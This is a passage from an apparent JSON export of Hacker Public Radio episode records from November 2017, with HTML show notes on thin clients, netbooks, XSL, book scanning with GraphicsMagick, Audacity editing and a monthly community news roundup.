                                                            • If the notes for a show contain links to external files these do not always seem to be accessible through the archive.org interface. For example, the recent show 2406 links to an image showing the cabling of a CAT6 plug, but the archive.org copy did not show this image (though it does now - see below).

                                                            • \n
                                                            • One way of dealing with the issue of external files would be to make a copy and place it on the HPR site, then it would be uploaded to the IA as described earlier. This might have copyright issues though.

                                                            • \n
                                                            • Another way would be to point to a copy on the Wayback Machine (WM). Sometimes the file has been copied there already, or it is possible to request that the WM snapshot it. This is what was done for the IA copy of show 2406. However, it was a manual process and therefore rather labour-intensive, which is not ideal.

                                                            • \n
                                                            \n

                                                            Any suggestions on how to deal with this situation would be appreciated.

                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2417,"date":"2017-11-07","title":"Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install","duration":806,"summary":"I did a basement clean up and got my old transmeta cpu up and running","notes":"

                                                            I did the long awaited basement clean up project.
                                                            \nlots of old geeky stuff went to the bins and recycle yards :(

                                                            \n

                                                            The Transmeta company made chips around 2000 and made chip x86 ready though a software layer. Since I love almost anything that is not Intel it was a match made in heaven.

                                                            \n

                                                            The best info I found about the FSI 210 was at this site:
                                                            \nFujitsu-Siemens Futro S210 (ThinClient)

                                                            \n

                                                            If you want to do a project at raspberry PI prices just go to Ebay and type Futro - they have a lot of Thin clients with other chips.

                                                            \n

                                                            About the chip:
                                                            \nhttps://en.wikipedia.org/wiki/Transmeta_Crusoe

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Transmeta Crusoe,Fujitsu-Siemens Futro S210,thin client","version":0,"downloads":0,"valid":1}, {"id":2418,"date":"2017-11-08","title":"What's in my ham shack, part 2","duration":1456,"summary":"A description of what's in my amateur radio shack","notes":"\n\n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio, Ham Radio","version":0,"downloads":0,"valid":1}, {"id":2419,"date":"2017-11-09","title":"Alien Brothers Podcast S1E01 - Introduction","duration":7584,"summary":"Meet the Alien Brothers: Casper and Rutiger. Two tech junkies that take nothing sacred","notes":"

                                                            This was an impromptu inaugural episode recorded in Bethany Beach, DE.

                                                            \n

                                                            Casper and Rutiger work in the tech field and enjoy video games and popular media. We discuss the enigma that is the Handmaid's Tale, Tim & Eric Awesome Show Great Job!, the movie Kids, video games from paperboy to Quake to Fallout 4. We comedically discuss the disillusionment that one can incur working in the cubical jungle. We also discuss going back to minimum wage after enjoying a high paying tech industry.

                                                            \n

                                                            We also reference obscure and not well-known music like Slint.

                                                            \n

                                                            The sound quality is not great in this episode, as it was an impromptu recording. All future episodes will be produced at a much higher quality

                                                            ","hostid":359,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"video games, video cards, first podcast","version":0,"downloads":0,"valid":1}, {"id":2420,"date":"2017-11-10","title":"Netbooks - Keeping an old friend alive","duration":979,"summary":"Why netbooks are not necessarily obsolete and how to keep them performing well","notes":"

                                                            Beeza uses an Acer Aspire One netbook as a media player (principally audio).

                                                            \n

                                                            The audio quality sent from the sound card out through the headphone socket really is excellent, so that when fed into a hi-fi amplifier the final reproduction is every bit as good as audio from a CD player - possibly better.

                                                            \n

                                                            The netbook is over 5 years old. When it was first bought most Linux distros ran very well on it. Since that time, however, the optimal hardware spec for most distros has increased quite considerably, leaving a humble netbook relatively underpowered, having typically 1 Gb RAM and a sedate CPU.

                                                            \n

                                                            All is not lost, fortunately. Raspbian X86, which is very closely related to the ARM version of Raspbian as used on the Pi, has a very light footprint and delivers performance on a netbook very much like what you would have experienced when they were brand new.

                                                            \n

                                                            Raspbian X86 is not perfect, though. It works brilliantly straight out of the box, but its security model needs a bit of simple reconfiguration to get the best from it. There are also, tweaks and cheats that can improve the Pixel user interface which, in its default setup, may not be to everybody's liking.

                                                            \n

                                                            In this episode Beeza explains steps he has taken to get the best from his netbook and, in the politest way possible, tells you what you can do with yours.

                                                            \n

                                                            POST RECORDING NOTE

                                                            \n

                                                            "Since recording the show I have installed Pulseaudio on top of Raspbian X86. It's a very simple install using Synaptic (or 'apt-get install pulseaudio'), after which you can run it as a daemon process with 'pulseaudio -D'.

                                                            \n

                                                            The advantage of Pulseaudio is that it gives you greater control over the audio channels and devices than is possible with just the default ALSA sub-system. This will be handy if you ever record from streams or USB microphones.

                                                            \n

                                                            If you install Pulseaudio, I strongly recommend installing pavucontrol as well - a mixer designed specifically to work with Pulseaudio".

                                                            \n","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Netbooks, Raspbian, Distros","version":0,"downloads":0,"valid":1}, {"id":2421,"date":"2017-11-13","title":"Project Interest","duration":518,"summary":"Lostnbronx wonders how some projects die for lack of interest.","notes":"

                                                            This is just a short "episode" wherein I ponder the nature of showmanship and razzle-dazzle regarding the success or failure of FOSS, and other projects that require collaboration. Your comments and opinions are ACTIVELY encouraged.

                                                            ","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"foss,collaboration,writing,projects","version":0,"downloads":0,"valid":1}, {"id":2422,"date":"2017-11-14","title":"Kickstarter Post Mortem","duration":2763,"summary":"Klaatu talks about his failed Kickstarter campaign","notes":"

                                                            Klaatu tried to fund art for a card game on Kickstarter. Missed the goal by 85%

                                                            \n

                                                            This is a post mortem of how the Kickstarter went and where he may have gone wrong. Possibly you can learn from his mistakes. Possibly he has misdiagnosed his mistakes, and you are being misled. Choose wisely.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"Crowd Funding,Kickstarter,Tabletop Gaming","version":0,"downloads":0,"valid":1}, {"id":2423,"date":"2017-11-15","title":"Open Source Gaming #2: Oolite","duration":431,"summary":"Episode 2 is about the space travel simulator Oolite, which is an open source remake of Elite","notes":"

                                                            The game's website. If you're interested in playing, check it out. https://www.oolite.org/

                                                            \n

                                                            Also here's the forum I was looking up during the podcast to find out if Elite Dangerous was multiplayer or not. https://steamcommunity.com/app/359320/discussions/0/142260718945308887/

                                                            \n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Gaming, Open Source","version":0,"downloads":0,"valid":1}, {"id":2424,"date":"2017-11-16","title":"Interface Zero RPG Play","duration":3010,"summary":"Klaatu, Lobath, and Thaj play the Interface Zero RPG","notes":"

                                                            Klaatu, Lobath, and Thaj play a session of Interface Zero, a role playing game using the Pathfinder rules.\n

                                                            \n

                                                            \nIf you're new to RPG and want to hear how it's done, or you're just bored and want to hear some nerds play through a cyberpunk adventure, this is for you! Also - for one lucky listener - we have an RPG starter kit. Listen for details.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"Interface Zero,actual play,rpg,gaming,live play","version":0,"downloads":0,"valid":1}, {"id":2425,"date":"2017-11-17","title":"Intro to XSL","duration":2502,"summary":"A brief introduction to XSL and xsltproc","notes":"

                                                            \nSure, you can use pandoc to process your Docbook XML, but why not learn a little XSL this weekend?\n

                                                            \n

                                                            Requirements

                                                            \n

                                                            \nYou must have xsltproc installed. It's available from your software repository.\n

                                                            \n

                                                            \nHere is some sample XML for you:\n

                                                            \n
                                                            \n<xml version=\"1.0\">\n  <para>\n    My name is <author>Foo</author>.\n  </para>\n\n  <para>\n    You're listening to <emphasis role=\"bold\">Hacker Public\n    Radio</emphasis>.\n  </para>\n</xml>\n
                                                            \n

                                                            \nAnd here's the complete XSL as demonstrated:\n

                                                            \n
                                                            \n<xsl:stylesheet xmlns:xsl=\"https://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\n\n  <xsl:template match=\"para\">\n    <p><span><xsl:apply-templates/></span></p>\n  </xsl:template>\n\n  <xsl:template match=\"emphasis\">\n    <em><xsl:apply-templates/></em>\n  </xsl:template>\n\n  <xsl:template match=\"emphasis[@role='bold']\">\n    <strong><xsl:apply-templates/></strong>\n  </xsl:template>\n\n  <xsl:template match=\"author\" name=\"host\">\n    <xsl:choose>\n\n      <xsl:when test=\"$host = 'Klaatu'\">\n        <xsl:text>Klaatu</xsl:text>\n      </xsl:when>\n\n      <xsl:when test=\"$host = 'Gort'\">\n        <xsl:text>Gort</xsl:text>\n      </xsl:when>\n    </xsl:choose>\n  </xsl:template>\n</xsl:stylesheet>\n
                                                            \n

                                                            Links

                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"docbook,xml,xsl","version":0,"downloads":0,"valid":1}, {"id":2426,"date":"2017-11-20","title":"Let's Talk About Addiction","duration":655,"summary":"Lostnbronx shares some thoughts about the need to talk about addiction.","notes":"

                                                            I was partially inspired by Bitbox's really wonderful episode, \"hpr2413: personal health care\", to ramble on about the need for the HPR community to, maybe, start talking about a mental health crisis that touches pretty much everyone in the modern world: addiction.

                                                            \n

                                                            Personal Health Care
                                                            \nhosted by Bitbox:
                                                            \nhttps://hackerpublicradio.org/eps.php?id=2413

                                                            \n","hostid":107,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"addiction,mental health","version":0,"downloads":0,"valid":1}, {"id":2427,"date":"2017-11-21","title":"Server Basics 101","duration":2590,"summary":"Klaatu endeavours to explain the basics of server administration.","notes":"

                                                            Klaatu covers the very very basics of servers: what they are, how to know one when you see one, what one ought to run, and why we have them.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,admin,sys admin,linux","version":0,"downloads":0,"valid":1}, {"id":2428,"date":"2017-11-22","title":"git Blobs","duration":1982,"summary":"Klaatu talks about git-media and git-annex","notes":"

                                                            How do you manage large binary blobs, like pictures or video or sounds, when using git?

                                                            \n\n

                                                            In this episode, Klaatu explains two popular options:

                                                            \n\n\n\n

                                                            Thanks to CapsLok at freesound.org for the sound effect.

                                                            \n","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git","version":0,"downloads":0,"valid":1}, {"id":2429,"date":"2017-11-23","title":"Interface Zero RPG Play","duration":1902,"summary":"Klaatu, Lobath, and Thaj play the Interface Zero RPG part 2","notes":"

                                                            The second session of Interface Zero RPG live play with Klaatu, Lobath, and Thaj.

                                                            \n\n

                                                            This week, Chiawei and Syd reach Peter's apartment and do some quick detective work, and a little bit of minor bone-breaking.

                                                            \n\n

                                                            \nIf you're really keen to play, send Klaatu an email (Klaatu at the domain of this podcast, or member.fsf.org). The recording schedule is inflexible, Klaatu has oddly high standards for audio that he is inevitably compresses down to 64kbps, and the game has already started, but a new character or guest character is not out of the question!

                                                            \n\n

                                                            No give-away this week, but we'll be giving a (digital) Pathfinder starter kit out next week.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"Interface Zero,actual play,rpg,gaming,live play","version":0,"downloads":0,"valid":1}, {"id":2430,"date":"2017-11-24","title":"Scanning books","duration":740,"summary":"Ken explains how and why he is scanning school books","notes":"

                                                            \nI want to scan my Son's school books so that he doesn't get back problems lugging books to and from school. Something that for now at least remains legal in the Netherlands.\n

                                                            \n

                                                            Steps involved

                                                            \n
                                                              \n
                                                            1. Scan all the images using the entire length of your scanner. I use scantoimage.bash
                                                            2. \n
                                                            3. Confirm that there are no missing pages, and that every other page is upright and then upside down etc. If they are scan them and rename them so the name fits in between the pages
                                                            4. \n
                                                            5. Back up all the scanned images
                                                            6. \n
                                                            7. Manually crop the areas of the scans outside the area of the page. Usually this is on the side and bottom of the flat bed. Save is as something like ~/x.jpg
                                                            8. \n
                                                            9. Use GraphicsMagick Image Processing System to identify the dimensions of the cropped image.
                                                              \n\ngm identify ~/x.jpg
                                                              \n/home/me/x.jpg JPEG 2477x2609+0+0 DirectClass 8-bit 3.2Mi 0.000u 0m:0.000002s
                                                              \n
                                                            10. \n
                                                            11. Crop all the images to that dimension
                                                              \ngm mogrify -crop 2477x2609+0+0 *.jpg\n
                                                            12. \n
                                                            13. Rotate every second image by 180 degrees. rotate-every-second-image.bash
                                                            14. \n
                                                            15. Create a directory for the book and in there create a subdirectory for each section of the book. Manually copy all the images to the sub directory for that section.
                                                            16. \n
                                                            17. Then go to the root where there are no files only subdirs and run the command
                                                              \nfor i in *;do echo $i;gm convert \"${i}/*.jpg\" \"${i}.pdf\"; done
                                                            18. \n
                                                            \n

                                                            \nAt the end you will have a pdf file for each section of the book.\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"book scanning","version":0,"downloads":0,"valid":1}, {"id":2431,"date":"2017-11-27","title":"Information Underground: Local Control","duration":2431,"summary":"Deepgeek, Klaatu, and Lostnbronx natter on about local participation and responsibility.","notes":"

                                                            SUMMARY:

                                                            \n

                                                            Deepgeek, Klaatu, and Lostnbronx discuss communities, real and virtual, and get to the heart (or not) of the confluent issues surrounding modern confusion, apathy and despair with their leadership.

                                                            \n\n","hostid":107,"series":99,"explicit":1,"license":"CC-BY-SA","tags":"community,information underground,klaatu,deepgeek,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2432,"date":"2017-11-28","title":"Living with the Nokia 6 – an update to HPR 2405","duration":316,"summary":"An update to my show on the Nokia 6 phone","notes":"

                                                            Living with the Nokia 6 – an update to HPR 2405

                                                            \n

                                                            I’ve now been using the Nokia 6 for about 2 months and just wanted to update listeners to my thoughts on the phone.

                                                            \n

                                                            First a response to Dave who said on the Community News that as he had a OnePlus 1 he was surprised I found it inadequate. The One+1 is a great phone, my problem with it was it does not support O2’s 4G network although it supports EE’s and 3’s 4G networks here in the UK, as I use GiffGaff which runs on the O2 network I have not been able to benefit from their 4G offer and I don’t want to change provider. Also the One+1 was stuck on CyanogenMod 13.1 (Android 6) and no longer got updates, so this was the reason for the new phone purchase. I’ve now flashed Lineage OS onto the One+1 and have a secure backup phone or one I can pass on to my Wife at some stage.

                                                            \n

                                                            Back to the Nokia, now I’ve lived with the phone for a few weeks I can say I am more than happy with it, and some of the issues with battery life I have found are unfounded once you configure some of the settings to be more battery friendly, such as restricting background access to the net for most aps the battery life is well over a day's use. At night in stand by mode over 8 hours battery use is less than 1% so even with moderate to heavy use I can get a day out of the phone without any risk of running out. Also if the official charger and cable are used a 1 hour charge gives about a 30-40% battery capacity, so not as slow as the reviews I’ve read. Would I still buy it having used it for 2 months, I would say yes to that, and I also have no issues with recommending it as a large format phone at a budget price.

                                                            ","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Android, Nokia 6, Phones, New Kit, OnePlus1","version":0,"downloads":0,"valid":1}, {"id":2433,"date":"2017-11-29","title":"You were right, I was wrong","duration":519,"summary":"Ken eats humble pie","notes":"

                                                            \nKen puts the record straight after inaccurate comments during hpr2416 :: HPR Community News for October 2017 about \n hpr2406 :: Putting Ends onto CAT6 Ethernet Cables by Shane Shennan.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Correction","version":0,"downloads":0,"valid":1}, {"id":2434,"date":"2017-11-30","title":"Cybrosis","duration":5958,"summary":"The HPR AudioBook Club discusses Cybrosis by P.C. Haring","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub discusses Cybrosis by P. C. Haring.

                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                              \n
                                                            • Everyone agreed that the audio quality and engineering was excellent. The voice acting was just as good. pokey was bothered by something in the main character's voice that he likened to (but wasn't) hearing someone chew gum while talking.
                                                            • \n
                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            Things We Talked About

                                                            \n

                                                            All of us felt that there were quite a few cliches in the story.

                                                            \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            Triplanetary by E. E. \"Doc\" Smith\n
                                                            https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/

                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page; HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n\n\n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Cybrosis, HPR AudioBook Club, cyberpunk, audio fiction, P.C. Haring, Free Culture","version":0,"downloads":0,"valid":1}, {"id":2435,"date":"2017-12-01","title":"Server Basics 102","duration":2926,"summary":"Klaatu talks about SSH configuration on the server you set up in 101.","notes":"

                                                            Klaatu talks about SSH, changing SSH ports, and using SSH keys for the server you presumably set up after hearing Server Basics 101 in this series.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,admin,sys admin,linux","version":0,"downloads":0,"valid":1}, {"id":2436,"date":"2017-12-04","title":"HPR Community News for November 2017","duration":5241,"summary":"HPR Volunteers talk about shows released and comments posted in November 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n The Alien Brothers Podcast (ABP).\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2413Wed2017-11-01personal health careBitbox
                                                            2414Thu2017-11-02What's in my ham shack, part 1MrX
                                                            2415Fri2017-11-03bullet journal to org modeBrian in Ohio
                                                            2416Mon2017-11-06HPR Community News for October 2017HPR Volunteers
                                                            2417Tue2017-11-07Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 InstallJWP
                                                            2418Wed2017-11-08What's in my ham shack, part 2MrX
                                                            2419Thu2017-11-09Alien Brothers Podcast S1E01 - IntroductionThe Alien Brothers Podcast (ABP)
                                                            2420Fri2017-11-10Netbooks - Keeping an old friend aliveBeeza
                                                            2421Mon2017-11-13Project Interestlostnbronx
                                                            2422Tue2017-11-14Kickstarter Post Mortemklaatu
                                                            2423Wed2017-11-15Open Source Gaming #2: OoliteTheDUDE
                                                            2424Thu2017-11-16Interface Zero RPG Playklaatu
                                                            2425Fri2017-11-17Intro to XSLklaatu
                                                            2426Mon2017-11-20Let's Talk About Addictionlostnbronx
                                                            2427Tue2017-11-21Server Basics 101klaatu
                                                            2428Wed2017-11-22git Blobsklaatu
                                                            2429Thu2017-11-23Interface Zero RPG Playklaatu
                                                            2430Fri2017-11-24Scanning booksKen Fallon
                                                            2431Mon2017-11-27Information Underground: Local Controllostnbronx
                                                            2432Tue2017-11-28Living with the Nokia 6 – an update to HPR 2405Tony Hughes AKA TonyH1212
                                                            2433Wed2017-11-29You were right, I was wrongKen Fallon
                                                            2434Thu2017-11-30CybrosisHPR_AudioBookClub
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 44 comments in total.

                                                            \n

                                                            There are 18 comments on\n9 previous shows:

                                                            \n
                                                            • hpr2376\n(2017-09-11) \"Information Underground: 21st Century Superstar\"\nby deepgeek.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKlaatu on 2017-11-07:\n\"re: Me Too\"

                                                              \n
                                                            • hpr2378\n(2017-09-13) \"Why Docbook?\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 9:\nKlaatu on 2017-11-06:\n\"KWNPSA\"

                                                              \n
                                                            • hpr2387\n(2017-09-26) \"Free Weights and a Bicycle\"\nby Frank Bell.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbjb on 2017-11-07:\n\"5BX and 10BX, memory lane\"

                                                              \n
                                                            • hpr2393\n(2017-10-04) \"PWGen - A password generator\"\nby Xoke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAaron on 2017-11-06:\n\"Haystack password\"

                                                              \n
                                                            • hpr2395\n(2017-10-06) \"Obamacare\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbjb on 2017-11-07:\n\"thanks\"

                                                              \n
                                                            • hpr2399\n(2017-10-12) \"Using Super Glue to create Landmarks on Keyboards\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\ndodddummy on 2017-10-31:\n\"Accessibility\"
                                                              • \n
                                                              • \nComment 5:\ndodddummy on 2017-11-06:\n\"Replying to comments from community episode\"
                                                              • \n
                                                              • \nComment 6:\ndodddummy on 2017-11-13:\n\"ctrl vs fn keys\"

                                                              \n
                                                            • hpr2411\n(2017-10-30) \"Information Underground: Co-op Paradise\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2017-11-03:\n\"Fascinating\"
                                                              • \n
                                                              • \nComment 2:\nShane Shennan on 2017-11-04:\n\"Well done!\"
                                                              • \n
                                                              • \nComment 3:\nbjb on 2017-11-07:\n\"indie hosting\"
                                                              • \n
                                                              • \nComment 4:\nKen Fallon on 2017-11-07:\n\"Tell me how\"
                                                              • \n
                                                              • \nComment 5:\nsilver on 2017-11-26:\n\"Alternate web server.\"

                                                              \n
                                                            • hpr2412\n(2017-10-31) \"The Call of Cthulhu\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nFrankBell on 2017-11-03:\n\"Lovecraft\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2017-11-03:\n\"Agreeing with Frank\"
                                                              • \n
                                                              • \nComment 3:\ndodddummy on 2017-11-06:\n\"Is there a link to the audio you listened to?\"
                                                              • \n
                                                              • \nComment 4:\nel Mussol on 2017-11-08:\n\"file unavailable\"

                                                              \n
                                                            • hpr406\n(2009-07-21) \"Moonshine\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ncobra2 on 2017-11-25:\n\"shownotes\"

                                                              \n
                                                            \n

                                                            There are 26 comments on 15 of this month's shows:

                                                            \n
                                                            • hpr2413\n(2017-11-01) \"personal health care\"\nby Bitbox.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2017-12-02:\n\"Fear and Cold Turkey\"
                                                              • Comment 2:\nShane Shennan on 2017-12-02:\n\"All the best!\"

                                                              \n
                                                            • hpr2415\n(2017-11-03) \"bullet journal to org mode\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncroy on 2017-12-02:\n\"You big tease!\"
                                                              • Comment 2:\nKlaatu on 2017-12-02:\n\"org-mode\"

                                                              \n
                                                            • hpr2416\n(2017-11-06) \"HPR Community News for October 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-12-02:\n\"Straight through cable\"
                                                              • Comment 2:\nDave Morriss on 2017-12-02:\n\"Re: Straight through cable\"
                                                              • Comment 3:\nKen Fallon on 2017-12-02:\n\"Did a correction show\"

                                                              \n
                                                            • hpr2417\n(2017-11-07) \"Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-02:\n\"First I've ever heard of this\"
                                                              • Comment 2:\ndrrty on 2017-12-02:\n\"wow\"

                                                              \n
                                                            • hpr2418\n(2017-11-08) \"What's in my ham shack, part 2\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-02:\n\"great infos\"

                                                              \n
                                                            • hpr2419\n(2017-11-09) \"Alien Brothers Podcast S1E01 - Introduction\"\nby The Alien Brothers Podcast (ABP).
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-02:\n\"shows like these\"

                                                              \n
                                                            • hpr2420\n(2017-11-10) \"Netbooks - Keeping an old friend alive\"\nby Beeza.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-12-02:\n\"Would love to hear you on librivox\"

                                                              \n
                                                            • hpr2421\n(2017-11-13) \"Project Interest\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-02:\n\"attention\"
                                                              • Comment 2:\nlostnbronx on 2017-12-02:\n\"Popular Kids\"

                                                              \n
                                                            • hpr2423\n(2017-11-15) \"Open Source Gaming #2: Oolite\"\nby TheDUDE.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-02:\n\"cool discoveries\"
                                                              • Comment 2:\nlostnbronx on 2017-12-02:\n\"It Must Be Me\"

                                                              \n
                                                            • hpr2424\n(2017-11-16) \"Interface Zero RPG Play\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2017-12-02:\n\"Wonderful Intro to RPGs!\"

                                                              \n
                                                            • hpr2425\n(2017-11-17) \"Intro to XSL\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-12-02:\n\"This was really interesting\"
                                                              • Comment 2:\nKlaatu on 2017-12-02:\n\"Re: This was really interesting\"

                                                              \n
                                                            • hpr2427\n(2017-11-21) \"Server Basics 101\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nShane Shennan on 2017-12-02:\n\"Thanks! I made a connection!\"
                                                              • Comment 2:\n0xf10e on 2017-12-02:\n\"Solaris?\"
                                                              • Comment 3:\nZen_Floater2 on 2017-12-02:\n\"OpenBSD user\"

                                                              \n
                                                            • hpr2432\n(2017-11-28) \"Living with the Nokia 6 – an update to HPR 2405\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-12-02:\n\"Cheers Tony\"
                                                              • Comment 2:\nRWA on 2017-12-02:\n\"Nokia 6 Update\"

                                                              \n
                                                            • hpr2433\n(2017-11-29) \"You were right, I was wrong\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFrank on 2017-12-02:\n\"Best title ever!\"

                                                              \n
                                                            • hpr2434\n(2017-11-30) \"Cybrosis\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-12-02:\n\"Link so you don't have to find the previous ep\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

